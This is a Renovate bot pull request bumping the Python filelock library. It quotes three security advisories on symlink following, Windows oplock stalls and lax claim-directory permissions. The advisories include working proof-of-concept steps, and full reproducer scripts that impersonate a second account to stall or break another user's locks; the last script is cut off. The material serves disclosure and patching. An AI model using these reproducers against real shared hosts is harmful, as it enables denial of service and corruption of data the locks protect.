Skip to content

chore(deps): update dependency filelock to v4.2.6 [security] - #1294

Open
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/pypi-filelock-vulnerability
Open

renovate[bot] wants to merge 1 commit into
mainfrom
renovate/pypi-filelock-vulnerability

Conversation

@renovate

@renovate renovate Bot commented Nov 10, 2026 •

Copy link
Copy Markdown
Contributor

Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Change Age Confidence
filelock (changelog) 4.2.5 → 4.2.6 age confidence
filelock (changelog) 4.2.4 → 4.2.5 age confidence
filelock (changelog) 3.32.4 → 4.2.1 age confidence

filelock: ReadWriteLock follows a symlink at the lock path into SQLite

CVE-2026-112936 / GHSA-j8f7-rjxc-mr56

More information

Details

Summary

ReadWriteLock and AsyncReadWriteLock resolve the lock path with pathlib.Path.resolve() and pass it to sqlite3.connect() without refusing a symlink. A local user who can create names in the lock's directory, such as /tmp or a shared cache, can plant a symlink at the lock path and make the victim's process create, lock, or write the file it points to, or break mutual exclusion between the victim's own processes.

Details

ReadWriteLock.__init__ stores pathlib.Path(lock_file).resolve(), which follows a final symlink, and every connection opens that path through sqlite3.connect() with no O_NOFOLLOW or regular-file check. SQLite's own VFS also resolves the final symlink in user space, so fs.protected_symlinks and the sticky bit do not help: the kernel never sees a symlink to refuse. The other lock classes do not follow a final symlink: FileLock opens with O_NOFOLLOW, and SoftReadWriteLock coordinates through <path>.rw/.

Proof of concept

On Linux, with the victim and attacker as different users and /shared mode 1777 with fs.protected_symlinks=1:

  1. The attacker runs ln -s /home/victim/private/pwned.flag /shared/app.rwlock.db.
  2. The victim constructs ReadWriteLock("/shared/app.rwlock.db"). A plain os.open(..., O_NOFOLLOW) on the same path fails, but the lock creates /home/victim/private/pwned.flag, owned by the victim, inside a directory the attacker cannot write.
  3. With /shared/cache.rwlock.db -> /shared/a.db, one victim process holds the write lock. The attacker repoints the link to /shared/b.db, and a second victim process acquires the write lock while the first still holds it.

The same behavior reproduces on macOS, on Windows 11, and through AsyncReadWriteLock.

Impact

A local attacker with write access to the lock directory can make the victim create empty files it owns at paths the attacker cannot write, make the victim hold a SQLite lock on another application's database so that application gets database is locked, and give two victim processes the write lock at once, letting them corrupt the resource the lock protects.

Workarounds

Keep ReadWriteLock paths in directories that only trusted users can write.

Severity

  • CVSS Score: 6.1 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


filelock: On Windows an oplock on a soft lock's marker holds SoftFileLock.acquire() past its timeout and blocks the stale break

CVE-2026-112907 / GHSA-567q-5qvw-pf92

More information

Details

On Windows the soft locks (SoftFileLock, MarkerSoftFileLock, SoftFileLease, their async forms, and a FileLock that fell back to a soft lock) read their marker by path. The marker is the lock file whose presence says a process holds the lock. Each acquire() attempt that finds a marker opens it with os.open to read the holder's process id, and the lock renames and deletes a marker it judges stale, by path. On Windows each of these calls waits for an oplock. An oplock (opportunistic lock) is a request by a process that holds a handle on a file to be told before another process opens, renames or deletes that file; the other process waits until the holder answers the break or closes its handle.

Another local account that can open the marker for reading can take a Level 1 oplock on it while no process holds it open, and leave the break unanswered. Every acquire() by the user running the lock (below: the lock user) then waits inside the open, past its timeout, blocking=False and cancel_check, and a stale marker under that oplock is not broken. Mutual exclusion holds and the lock touches no other file. Affected versions are filelock 3.22.0 through 4.2.0 on Windows. The maintainers found this while reviewing the fix for the report Anthropic's OSS Scanner sent on 15 October 2026 (review round 4, finding F4); it is not among the scanner's findings.

Severity

CVSS 3.1 CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L scores 2.5 (Low).

AV:L (local): the other account needs a logon on the same host. AC:H (high attack complexity): Windows grants a Level 1 or batch oplock only to the sole open handle on a file, so the marker must have no holder handle when the other account asks. That account cannot bring this about; it waits for a holder that died, closed its descriptor, or left a marker past its lifetime. PR:L (low privileges): an ordinary account with read access to the marker through the directory's inherited ACL (access control list). UI:N (no user interaction). S:U (scope unchanged). C:N and I:N: that account can read the marker's content (process id and host name) anyway, and mutual exclusion holds. A:L (partial availability impact): one thread, or the event loop with run_in_executor=False, waits until the holder answers; 10 s per attempt in the two-account runs, no crash. Metrics in doubt take the lower reading.

Classification from the review: security, conditional on an unheld marker that another account can open.

Scope and preconditions
  • Platform and classes: Windows only. SoftFileLock, MarkerSoftFileLock, SoftFileLease, AsyncSoftFileLock and the other async soft locks, and FileLock after its ENOSYS fallback to a soft lock. WindowsFileLock opens its lock file on a separate code path that this advisory does not cover.
  • Marker access: the soft locks create the marker with os.open, which on Windows applies no more of mode than the read-only attribute (GHSA-8mx5-7m5m-r77g). The marker carries the lock directory's inheritable entries. Another account that those entries grant read access to new files can open the marker with a read handle that shares read, write and delete.
  • Unheld marker: no handle may be open on the marker when the other account requests the oplock. That is a holder that died and left its marker, a holder that closed its descriptor, or a marker whose lifetime has passed. While the holder keeps its handle, the request fails.
  • Holder behavior: the other account requests the oplock through an overlapped DeviceIoControl and never acknowledges the break. Windows cancels a thread's pending request when the thread exits, so the holder thread stays alive. A same-account process that answers slowly, such as an indexer, has the same effect for its answer time.
  • What the lock user sees: SoftFileLock.acquire(timeout=1) returned Timeout after 10.02 s with the second account's handle. In the same-account probe os.open with O_RDONLY was still running after 15 s and returned once the holder closed. The retry loop consults timeout, blocking=False and cancel_check between attempts only. With AsyncSoftFileLock(run_in_executor=False) the event loop waits.
  • Stale break: break_lock_file renames and unlinks by path. Both calls wait in the same way, so a stale marker under such an oplock stays, and no process acquires the lock until the holder closes.
  • Not affected: mutual exclusion, and the lock reads, writes and deletes no file other than the marker.
Affected code

Scanned commit b831496b0273: the os.open in _read_lock_file (function), called from _try_break_stale_lock on every attempt that finds a marker, and from _unprobeable_holder, pid and is_lock_held_by_us. break_lock_file renames at L116 and unlinks at L118 and L122, by path. _poll_until_acquired and _check_give_up test the deadline, blocking and cancel_check only between attempts.

Introduced

e35c3af "feat(soft): detect and break stale locks" (#​476, 2026-02-13), first tag 3.22.0 (verified with git tag --contains). Before it a soft lock created its marker with O_CREAT | O_EXCL and never opened an existing one. #​476 read the marker on Windows through CreateFileW and broke a stale one with Path.rename and Path.unlink. These wait for an oplock as os.open does, because none of them passes FILE_COMPLETE_IF_OPLOCKED, an NtCreateFile option that returns instead of waiting. The read became the os.open in _read_lock_file with bfbfa76 (#​548, 3.29.1) and the break moved into break_lock_file with d244c6d (#​551, 3.29.2); the by-path calls stayed.

Mechanism

Each attempt of _acquire first calls os.open(path, O_WRONLY | O_CREAT | O_EXCL). On an existing marker that fails with EEXIST (or EACCES on Windows) at once; the same-account probe shows the failed exclusive create returning at once under an oplock too. _acquire then calls _try_break_stale_lock, which calls _read_lock_file: os.lstat, then os.open(path, O_RDONLY | O_NOFOLLOW | O_NONBLOCK). On Windows O_NOFOLLOW and O_NONBLOCK do not exist (the code reads them with getattr(os, ..., 0)), and os.open calls CreateFileW. When another handle holds a Level 1 or batch oplock on the file, that call sends the holder a break request and returns only when the holder acknowledges it or closes its handle. _check_give_up tests the deadline after the attempt returns, so the wait overruns timeout, blocking=False and cancel_check by its length. Once the open returns, the attempt ends and _check_give_up raises Timeout, because the deadline has passed.

A marker whose holder is gone takes the second path. break_lock_file renames it to a break name and unlinks it, by path. On Windows the rename and the delete open the file with delete access, which breaks a Level 1 or batch oplock the same way; the same-account probe shows os.rename and os.unlink still running after 15 s and returning once the holder closed. The lifetime break at L123 runs the same function. A stale marker under such an oplock is therefore not removed, and every attempt by every process waits inside the read. The other account can request the oplock again as soon as the lock user's handle closes, between two attempts or two acquire() calls, as in the Linux lease case of GHSA-7hmp-gf99-57hx. Nothing in the retry loop bounds this wait.

Reproduction

The review's reproducers, quoted as received. oplock_vm.py section [2] is this finding; sections [1a] and [1b] belong to the release() advisory. oplock_semantics_vm.py is the same-account probe of which path operations wait. They ran on a Windows 11 VM (NTFS, CPython 3.14.8) against the head of PR #​835 at 3e4c5ef, where _read_lock_file and break_lock_file are the same code as at b831496b0273 apart from import changes. The second account fltester is a member of Users; the directory grants it (OI)(CI)(M).

oplock_vm.py

"""
Windows oplock checks beyond the lock-file open PR #&#8203;835 changes: release() and the soft locks' marker read.

Run on the VM (PowerShell, from the synced worktree, with the fltester account present):
  C:\\venvs\\rev4F\\Scripts\\python.exe oplock_vm.py fltester '<password>' C:\\tmp\\rev4F-oplock

[1] A second account keeps requesting a Level 1 oplock on the lock file through a read handle that shares delete.
    WindowsFileLock._release closes its handle and then unlinks by path; an oplock granted in between makes the
    DeleteFileW inside os.unlink wait for the holder's acknowledgement. [1a] races the close-to-unlink window as is;
    [1b] widens that window to 200 ms with a patched os.unlink so the grant lands inside it.
[2] A second account holds a Level 1 oplock on a soft-lock marker whose holder is alive. SoftFileLock.acquire reads the
    marker through os.open, which waits for the acknowledgement, past timeout=1.

A thread that exits has its pending oplock request cancelled, so every holder thread stays alive until the end.
"""

from __future__ import annotations

import ctypes
import os
import subprocess
import sys
import threading
import time
from ctypes import wintypes

from filelock import FileLock, SoftFileLock, Timeout

user, password, base = sys.argv[1], sys.argv[2], sys.argv[3]
icacls = os.path.join(os.environ["SYSTEMROOT"], "System32", "icacls.exe")
os.makedirs(base, exist_ok=True)
subprocess.run([icacls, base, "/grant", f"{user}:(OI)(CI)(M)"], check=True, capture_output=True)

advapi32 = ctypes.WinDLL("advapi32", use_last_error=True)
kernel32 = ctypes.WinDLL("kernel32", use_last_error=True)
advapi32.LogonUserW.argtypes = [
    wintypes.LPCWSTR,
    wintypes.LPCWSTR,
    wintypes.LPCWSTR,
    wintypes.DWORD,
    wintypes.DWORD,
    ctypes.POINTER(wintypes.HANDLE),
]
kernel32.CreateFileW.restype = kernel32.CreateEventW.restype = wintypes.HANDLE
kernel32.CreateFileW.argtypes = [
    wintypes.LPCWSTR,
    wintypes.DWORD,
    wintypes.DWORD,
    ctypes.c_void_p,
    wintypes.DWORD,
    wintypes.DWORD,
    wintypes.HANDLE,
]

class Overlapped(ctypes.Structure):
    _fields_ = (
        ("Internal", ctypes.c_void_p),
        ("InternalHigh", ctypes.c_void_p),
        ("Offset", wintypes.DWORD),
        ("OffsetHigh", wintypes.DWORD),
        ("hEvent", wintypes.HANDLE),
    )

kernel32.DeviceIoControl.argtypes = [
    wintypes.HANDLE,
    wintypes.DWORD,
    ctypes.c_void_p,
    wintypes.DWORD,
    ctypes.c_void_p,
    wintypes.DWORD,
    ctypes.c_void_p,
    ctypes.POINTER(Overlapped),
]
kernel32.CloseHandle.argtypes = [wintypes.HANDLE]
kernel32.WaitForSingleObject.argtypes = [wintypes.HANDLE, wintypes.DWORD]

GENERIC_READ = 0x80000000
SHARE_ALL = 0x7
OPEN_EXISTING = 3
FLAG_OVERLAPPED = 0x40000000
INVALID_HANDLE = wintypes.HANDLE(-1).value
FSCTL_REQUEST_OPLOCK_LEVEL_1 = 0x00090000
ERROR_IO_PENDING = 997
hold = threading.Event()
real_unlink = os.unlink

def impersonate() -> None:
    token = wintypes.HANDLE()
    if not advapi32.LogonUserW(user, ".", password, 3, 0, ctypes.byref(token)):
        raise ctypes.WinError(ctypes.get_last_error())
    if not advapi32.ImpersonateLoggedOnUser(token):
        raise ctypes.WinError(ctypes.get_last_error())

def request_level1(path: str) -> tuple[int, Overlapped] | None:
    handle = kernel32.CreateFileW(path, GENERIC_READ, SHARE_ALL, None, OPEN_EXISTING, FLAG_OVERLAPPED, None)
    if handle == INVALID_HANDLE:
        return None
    overlapped = Overlapped(hEvent=kernel32.CreateEventW(None, True, False, None))
    if (
        not kernel32.DeviceIoControl(handle, FSCTL_REQUEST_OPLOCK_LEVEL_1, None, 0, None, 0, None, ctypes.byref(overlapped))
        and ctypes.get_last_error() == ERROR_IO_PENDING
    ):
        return handle, overlapped
    kernel32.CloseHandle(handle)
    kernel32.CloseHandle(overlapped.hEvent)
    return None

def drop(granted: tuple[int, Overlapped]) -> None:
    handle, overlapped = granted
    kernel32.CloseHandle(handle)
    kernel32.WaitForSingleObject(overlapped.hEvent, 5000)
    kernel32.CloseHandle(overlapped.hEvent)

def release_under_oplock_requests(label: str, lock_path: str, cycles: int) -> bool:
    stop = threading.Event()
    granted_box: list[tuple[int, Overlapped]] = []

    def spinner() -> None:
        impersonate()
        while not stop.is_set():
            if (granted := request_level1(lock_path)) is not None:
                granted_box.append(granted)
                hold.wait()
                return

    releasing = threading.Event()
    release_durations: list[float] = []

    def owner() -> None:
        # thread_local locks release only on the acquiring thread, so acquire and release stay on this one
        for _ in range(cycles):
            lock = FileLock(lock_path, is_singleton=False)
            lock.acquire(timeout=5)
            started = time.monotonic()
            releasing.set()
            lock.release()
            releasing.clear()
            release_durations.append(time.monotonic() - started)
            if granted_box:
                return

    holder = threading.Thread(target=spinner, daemon=True)
    holder.start()
    owner_thread = threading.Thread(target=owner, daemon=True)
    owner_thread.start()
    owner_thread.join(60)
    stalled = owner_thread.is_alive() and releasing.is_set()
    stop.set()
    longest = max(release_durations, default=0.0) * 1000
    print(f"  {label}: oplock granted: {bool(granted_box)}; cycles run: {len(release_durations)}; longest release: {longest:.1f} ms")
    if stalled:
        print("  release() still running after 60 s while the oplock holder has not answered the break")
        if granted_box:
            drop(granted_box[0])
        owner_thread.join(10)
        print(f"  release() returned after the holder closed its handle: {not owner_thread.is_alive()}")
    return stalled

print("[1a] release() against a second account that keeps requesting a Level 1 oplock, natural window")
stalled_native = release_under_oplock_requests("natural", os.path.join(base, "native.lock"), 500)

print("[1b] the same, with the window between the handle close and the unlink widened to 200 ms")

def slow_unlink(path: str, *, dir_fd: int | None = None) -> None:
    time.sleep(0.2)
    real_unlink(path, dir_fd=dir_fd)

os.unlink = slow_unlink
stalled_scheduled = release_under_oplock_requests("scheduled", os.path.join(base, "native-scheduled.lock"), 20)
os.unlink = real_unlink

print("[2] SoftFileLock.acquire(timeout=1) against a second account's Level 1 oplock on a live marker")
marker = os.path.join(base, "soft.lock")
holder = SoftFileLock(marker, is_singleton=False)
holder.acquire()
holder_fd = holder._context.lock_file_fd  # noqa: SLF001
os.close(holder_fd)  # the marker stays with a live PID, as after a holder that lost only its handle
impersonate_done = threading.Event()
granted_soft: list[tuple[int, Overlapped]] = []

def take_soft_oplock() -> None:
    impersonate()
    if (granted := request_level1(marker)) is not None:
        granted_soft.append(granted)
    impersonate_done.set()
    hold.wait()

threading.Thread(target=take_soft_oplock, daemon=True).start()
impersonate_done.wait(5)
print(f"  oplock granted: {bool(granted_soft)}")
outcome = ["still running after 25 s"]

def contend() -> None:
    started = time.monotonic()
    try:
        SoftFileLock(marker, is_singleton=False).acquire(timeout=1)
        outcome[0] = f"acquired after {time.monotonic() - started:.2f} s"
    except Timeout:
        outcome[0] = f"Timeout after {time.monotonic() - started:.2f} s"
    except OSError as error:
        outcome[0] = f"{type(error).__name__} after {time.monotonic() - started:.2f} s: {error}"

contender = threading.Thread(target=contend, daemon=True)
contender.start()
contender.join(25)
print(f"  contender: {outcome[0]}")
soft_stalled = "still running" in outcome[0]
if granted_soft:
    drop(granted_soft[0])
    contender.join(10)
    print(f"  after the holder closed: {outcome[0]}")
hold.set()
print("STALLS" if stalled_native or stalled_scheduled or soft_stalled else "BOUNDED")

Recorded output of section [2]:

[2] SoftFileLock.acquire(timeout=1) against a second account's Level 1 oplock on a live marker
  oplock granted: True
  contender: Timeout after 10.02 s
  after the holder closed: Timeout after 10.02 s

oplock_semantics_vm.py

"""
Which path operations wait for an unanswered oplock break on Windows 11 NTFS. Same account, one process.

Run on the VM: C:\\venvs\\rev4F\\Scripts\\python.exe oplock_semantics_vm.py C:\\tmp\\rev4F-sem
"""

from __future__ import annotations

import ctypes
import os
import sys
import threading
import time
from ctypes import wintypes

base = sys.argv[1]
os.makedirs(base, exist_ok=True)
kernel32 = ctypes.WinDLL("kernel32", use_last_error=True)
kernel32.CreateFileW.restype = kernel32.CreateEventW.restype = wintypes.HANDLE
kernel32.CreateFileW.argtypes = [
    wintypes.LPCWSTR,
    wintypes.DWORD,
    wintypes.DWORD,
    ctypes.c_void_p,
    wintypes.DWORD,
    wintypes.DWORD,
    wintypes.HANDLE,
]

class Overlapped(ctypes.Structure):
    _fields_ = (
        ("Internal", ctypes.c_void_p),
        ("InternalHigh", ctypes.c_void_p),
        ("Offset", wintypes.DWORD),
        ("OffsetHigh", wintypes.DWORD),
        ("hEvent", wintypes.HANDLE),
    )

kernel32.DeviceIoControl.argtypes = [
    wintypes.HANDLE,
    wintypes.DWORD,
    ctypes.c_void_p,
    wintypes.DWORD,
    ctypes.c_void_p,
    wintypes.DWORD,
    ctypes.c_void_p,
    ctypes.POINTER(Overlapped),
]
kernel32.CloseHandle.argtypes = [wintypes.HANDLE]
kernel32.WaitForSingleObject.argtypes = [wintypes.HANDLE, wintypes.DWORD]
GENERIC_READ, GENERIC_WRITE = 0x80000000, 0x40000000
SHARE_ALL, OPEN_EXISTING, FLAG_OVERLAPPED = 0x7, 3, 0x40000000
INVALID_HANDLE = wintypes.HANDLE(-1).value
LEVELS = {"level1": 0x00090000, "batch": 0x00090008}

def take(path: str, level: str) -> tuple[int, Overlapped]:
    handle = kernel32.CreateFileW(path, GENERIC_READ, SHARE_ALL, None, OPEN_EXISTING, FLAG_OVERLAPPED, None)
    overlapped = Overlapped(hEvent=kernel32.CreateEventW(None, True, False, None))
    pending = not kernel32.DeviceIoControl(handle, LEVELS[level], None, 0, None, 0, None, ctypes.byref(overlapped))
    assert pending and ctypes.get_last_error() == 997, ctypes.get_last_error()
    return handle, overlapped

def drop(granted: tuple[int, Overlapped]) -> None:
    kernel32.CloseHandle(granted[0])
    kernel32.WaitForSingleObject(granted[1].hEvent, 5000)
    kernel32.CloseHandle(granted[1].hEvent)

def timed(label: str, operation) -> None:  # noqa: ANN001
    done = threading.Event()
    result = ["still running after 15 s"]

    def run() -> None:
        started = time.monotonic()
        try:
            operation()
            result[0] = f"returned after {(time.monotonic() - started) * 1000:.1f} ms"
        except OSError as error:
            result[0] = f"{type(error).__name__} after {(time.monotonic() - started) * 1000:.1f} ms: {error}"
        done.set()

    threading.Thread(target=run, daemon=True).start()
    done.wait(15)
    print(f"  {label}: {result[0]}")
    return done

def open_read(path: str) -> None:
    os.close(os.open(path, os.O_RDONLY | os.O_BINARY))

def open_write(path: str) -> None:
    os.close(os.open(path, os.O_RDWR | os.O_BINARY))

def create_new(path: str) -> None:
    os.close(os.open(path, os.O_WRONLY | os.O_CREAT | os.O_EXCL | os.O_BINARY))

for level in LEVELS:
    for label, operation, consumes in (
        ("os.open O_RDONLY", open_read, False),
        ("os.open O_RDWR", open_write, False),
        ("os.open O_CREAT|O_EXCL on the existing file", create_new, False),
        ("os.utime by path", lambda p: os.utime(p, None), False),
        ("os.rename", lambda p: os.rename(p, p + ".moved"), True),
        ("os.unlink", os.unlink, True),
    ):
        path = os.path.join(base, f"{level}-{label.replace(' ', '_').replace('|', '')}.lock")
        with open(path, "w", encoding="utf-8") as handle:
            handle.write("1\nhost\n")
        granted = take(path, level)
        print(f"{level}, {label}")
        done = timed(label, lambda p=path, op=operation: op(p))
        drop(granted)
        done.wait(5)
        print(f"    after the holder closed: {'done' if done.is_set() else 'still running'}")

The review kept this probe's result as a sentence rather than its printed lines: under a same-account Level 1 or batch oplock, os.open(path, os.O_RDONLY), os.rename and os.unlink were still running after 15 s and returned only once the holder closed its handle; os.utime by path and a failed O_CREAT | O_EXCL create returned at once.

Failure sequence
sequenceDiagram
    participant A as other local account
    participant M as soft.lock marker, no handle open
    participant L as lock user: SoftFileLock(path).acquire(timeout=1)
    participant W as Windows (NTFS)
    A->>W: CreateFileW(soft.lock, GENERIC_READ, share read/write/delete, FILE_FLAG_OVERLAPPED)
    A->>W: DeviceIoControl(FSCTL_REQUEST_OPLOCK_LEVEL_1), granted, break never acknowledged
    L->>W: os.open(soft.lock, O_CREAT|O_EXCL) fails with EEXIST at once
    L->>W: os.lstat(soft.lock) regular file
    rect rgb(255, 214, 214)
        L->>W: os.open(soft.lock, O_RDONLY) inside _read_lock_file
        Note over L,W: CreateFileW asks A to break the oplock and waits#59; the 1 s deadline, blocking=False and cancel_check are not consulted
        W-->>L: handle after 10.02 s (two-account run), or when A closes (same-account probe)
    end
    L->>L: _check_give_up: past the deadline, raise Timeout after 10.02 s
    Note over A,M: a stale marker takes the same wait in Path.rename and Path.unlink, so it is not broken
Loading
Evidence

Section [2] of oplock_vm.py acquired soft.lock as the test account, closed the holder's descriptor so the marker stayed with a live process id and no open handle, took a Level 1 oplock through the second account's read handle (oplock granted: True), and ran SoftFileLock(marker, is_singleton=False).acquire(timeout=1) on a thread. The call returned Timeout after 10.02 s, before the holder closed. The review did not establish what ends the wait at 10 s in the two-account runs; section [1a] of the same script, with the second account's handle, shows the same 10 s. In the same-account probe (oplock_semantics_vm.py) the open returned only when the holder closed, still running at 15 s. The probe also shows that the failed exclusive create and os.utime by path return at once, so the wait is in the read and the break, not in the create attempt.

Impact

Each acquire() of a soft lock that finds a marker another account holds an oplock on runs past its timeout, blocking=False and cancel_check until the holder answers or closes, 10 s per attempt in the recorded two-account runs. A stale marker under that oplock is not broken, so no process acquires the lock while the holder keeps its handle. With AsyncSoftFileLock(run_in_executor=False) the wait is on the event loop thread and stops every task in the process; with the default executor one worker thread waits. The documentation names a soft lock as the option for network filesystems, after verification on the mount, and FileLock is a soft lock on builds without fcntl and after its ENOSYS fallback. Mutual exclusion is not affected and nothing other than the marker is read, written or deleted.

Workarounds
  • Keep soft-lock markers in a directory whose ACL grants other accounts no access to new files: a directory inside the user profile, or one with inheritance removed and only the owner, SYSTEM and Administrators granted (icacls <dir> /inheritance:r /grant:r "<owner>:(OI)(CI)F" "SYSTEM:(OI)(CI)F" "Administrators:(OI)(CI)F"). mode does not do this on Windows.
  • Run AsyncSoftFileLock with the default executor rather than run_in_executor=False, so that only a worker thread waits.
  • No timeout, blocking or cancel_check value bounds the wait.
Patched version

4.2.1.

Fix: https://github.com/tox-dev/filelock/pull/835

Credits

Found by the maintainers while reviewing the fix for the report Anthropic's OSS Scanner sent on 15 October 2026 (review round 4, finding F4).

  • 2026-10-15 23:08 UTC: report received (36 findings; this defect is not among them)
  • 2026-10-16 01:16 UTC: fix PR #​835 opened, for the Linux lease finding of GHSA-7hmp-gf99-57hx
  • 2026-10-16 08:25 UTC: finding identified in the maintainers' review of PR #​835
  • 2026-10-16 22:43 UTC: draft advisory created

Severity

  • CVSS Score: 2.5 / 10 (Low)
  • Vector String: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


filelock: StrictSoftFileLock creates its claim directories without the lock mode, so another local user with a write bit on them can end a live hold

CVE-2026-112908 / GHSA-6627-m3xw-93mp

More information

Details

StrictSoftFileLock and AsyncStrictSoftFileLock apply the caller's mode to the sentinel (the lock file at <path>) and to both claim files (the files whose presence says a process wants or holds the lock). They create the two directories that hold the claims, <path>.filelock and <path>.filelock/claims, with a bare mkdir(). That gives 0o777 filtered through the umask (a per-process mask that removes permission bits from new files and directories) or, under a parent with a default ACL (an access control list on a directory that sets the permissions of entries created inside it), through that ACL.

A hold consists of two claim names in that directory, which has no sticky bit (a directory flag that lets only a file's owner remove it). When the environment leaves another local user (the other user below) a write bit on the directory, that user can unlink the holder's 0600 claims. Three settings do this: umask 000 in a sticky directory such as /tmp, umask 002 with the other user in the directory's group, or a default ACL on the lock's parent that grants the group write (the kernel then ignores the umask). After the unlink, the next contender of the holder's account finds the directory empty and enters. The first holder keeps reporting is_locked == True and later releases with no error. Affected versions: filelock >= 3.30.0 and <= 4.2.0 (finding ANT-2026-AD6SUOON).

Severity

CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:L, 5.3 (Medium).

AV:L (local): the other user needs an account on the same host. AC:H (high attack complexity): the holder must pass a restrictive mode while its umask or the parent's default ACL leaves the other user a write bit on new directories, and a contender of the holder's account must ask for the lock after the claims are gone. With the common umask 022 and no default ACL the directories are 0755, and the kernel refuses the other user's unlink. PR:L (low privileges): an unprivileged account is enough. UI:N (no user interaction): the holder's processes act on their own.

C:N (no confidentiality impact): the 0600 claim files stay unreadable. I:H (high integrity impact): two holders then write the data the lock protects, and neither learns of the other. A:L (low availability impact): the same write access lets the other user create names in claims, and an empty file named held-v1-<32 zeros>.claim makes the next acquire() raise SoftFileLockProtocolError ("malformed claim record") until someone removes it. Classification from the review: security, conditional on a lax umask or a permissive default ACL. The scanner rated it high (CWE-732).

Scope and preconditions
  • The holder passes a restrictive mode such as 0o600. Without one, the umask decides the permissions by documented design (the "File permissions and mode" section of docs/concepts.rst defines mode only for the lock file). Umask 000 with the default mode gives the same two-holder result but is outside this finding.

  • The holder's environment leaves the other user a write bit on new directories. The scanner measured three ways, with mode=0o600 and the other user a member of group team:

    lock's parent directory holder's umask <path>.filelock and claims/ who can unlink the claims
    1777, like /tmp 000 0777 any other local user
    root:team, 3775 (setgid, so new entries inherit the group, and sticky) 002 2775 any member of team
    root:team, 1770, default ACL group:team:rwx (setfacl -d -m g:team:rwx) 077 0770 any member of team
    root:team, 3775, no ACL 022 2755 no one; the second process times out

    The default-ACL row is the strongest. A holder with a private umask and mode=0o600 still gets group-writable claim directories. The lock file in that row is 0600, because its mode reaches os.open and masks the inherited ACL.

  • A contender that may enter asks for the lock: another process of the holder's account, or root. Nothing needs planting beforehand. The holder creates and owns the whole tree, so the existing-directory branch of _ensure_protocol_directory (the subject of GHSA-9c4x-gm8v-wgc4) plays no part.

  • Directories that an affected release already created keep their mode. A 0777 <path>.filelock from an earlier run stays writable by other users after an upgrade, because filelock does not remove these directories. Upgraders should chmod or remove existing <path>.filelock trees (see Workarounds).

  • The other lock classes do not have this gap in the same setting. With umask 000 and mode=0o600, FileLock and SoftFileLock create one 0600 file and nothing else, and SoftReadWriteLock creates its directories 0700 under any umask. Platform: POSIX permission semantics; demonstrated on Linux.

filelock's checks against another local user hold only when no other user can replace the lock's directory or any of its ancestors. That is the case when each ancestor belongs to the lock's user or root and is either not writable by others or sticky. A user who can rename entries in a non-sticky directory above the lock controls every name below it. No file-based lock can defend against that.

Affected code

At the scanned commit b831496, the bare mkdir() sits in _ensure_protocol_directory. StrictSoftFileLock._acquire calls it for both levels without a mode. It then passes self._open_mode() to the sentinel and, through _attempt_doorway, to both claim files. The doorway (the acquire step that scans existing claims and publishes the caller's own) proceeds when the claim scan is empty. _unlink_owner_path_result counts a missing claim name as removed on release.

Introduced

The bare mkdir() arrived with the claim directories in 650c17c79c54 ("feat(strict): replace shared markers with owner claims", #​659, 2026-07-14), first released in 3.30.0. We checked this against the git tags. Every release since 3.30.0 has it.

Mechanism

A process with umask 000 that takes StrictSoftFileLock("/tmp/<dir>/x.lock", mode=0o600) leaves this on disk while it holds the lock, every entry owned by the holder:

0600 x.lock
0777 x.lock.filelock
0777 x.lock.filelock/claims
0600 x.lock.filelock/claims/held-v1-<token>.claim
0600 x.lock.filelock/claims/intent-v1-<token>.claim

Removing a name needs write permission on the directory, and these directories are not sticky. Another local user who cannot read either claim can therefore unlink both. Renaming claims/ away inside the 0777 <path>.filelock has the same effect. For this lock class the directory permissions decide who can end a hold. The sentinel at <path> is permanent and says nothing about who holds. A contender starts its doorway by listing the claim directory and proceeds when it is empty. Once the two names are gone, the next contender publishes its own intent and held claims and enters. The original holder does not notice. is_locked is its own counter, and _release removes its claims by name through _unlink_owner_path_result, which takes FileNotFoundError as "already removed". The first process therefore releases with exit status 0. No force_break(), lifetime or legacy client takes part.

The other user's action is a plain unlink. The right to do it comes from filelock's mkdir, not from anything the application asked for. In the same setting the other user can neither read nor remove the 0600 sentinel in the sticky parent. With the common umask 022 and no default ACL the directories are 0755. Other users can then list the claim names, which mode=0o600 does not suggest either, but cannot remove them, and the second process times out.

Reproduction

The scanner's reproducer for finding ANT-2026-AD6SUOON, as received, ran against commit b831496b0273ecd11bf02b8d080ca8b673a538c1. The repro script drives the files under repro.d/.

repro

#!/usr/bin/env python3
import os
import pwd
import shutil
import stat
import subprocess
import sys
import tempfile

AS_VICTIM = {"user": "victim", "group": "victim", "extra_groups": [], "text": True}
AS_ATTACKER = {"user": "attacker", "group": "attacker", "extra_groups": [], "text": True}

def start_victim_service(lock_path, umask):
    command = [sys.executable, "/tmp/repro.d/victim_service.py", lock_path]
    return subprocess.Popen(command, stdin=subprocess.PIPE, stdout=subprocess.PIPE, umask=umask, **AS_VICTIM)

def hold_lock_while_attacker_strikes(label, shared, victim_umask):
    lock_path = f"{shared}/umask{victim_umask:03o}.lock"
    claims = f"{lock_path}.filelock/claims"

    first = start_victim_service(lock_path, victim_umask)
    assert first.stdout.readline() == "entered\n"
    claim_files = [f"{claims}/{name}" for name in sorted(os.listdir(claims))]
    for path in (lock_path, f"{lock_path}.filelock", claims, *claim_files):
        status = os.lstat(path)
        owner = pwd.getpwuid(status.st_uid).pw_name
        print(f"{label}: {stat.S_IMODE(status.st_mode):04o} {owner} {os.path.relpath(path, shared)}")

    # attack, while the first victim process is inside its critical section
    attacker = subprocess.run(
        [sys.executable, "/tmp/repro.d/attacker_remove_claims.py", lock_path],
        stdout=subprocess.PIPE,
        check=True,
        **AS_ATTACKER,
    )
    for line in attacker.stdout.splitlines():
        print(f"{label}: attacker: {line}")
    claims_left = len(os.listdir(claims))
    print(f"{label}: claims left: {claims_left}")

    second = start_victim_service(lock_path, victim_umask)
    second_says = second.stdout.readline().strip()
    # the first is told to leave only after the second has answered, so an "entered" means both were inside at once
    first_says = first.communicate("leave\n")[0].strip()
    second.communicate("leave\n")
    print(f"{label}: second process: {second_says}")
    print(f"{label}: first process, asked afterwards: {first_says}, exit status {first.returncode}")

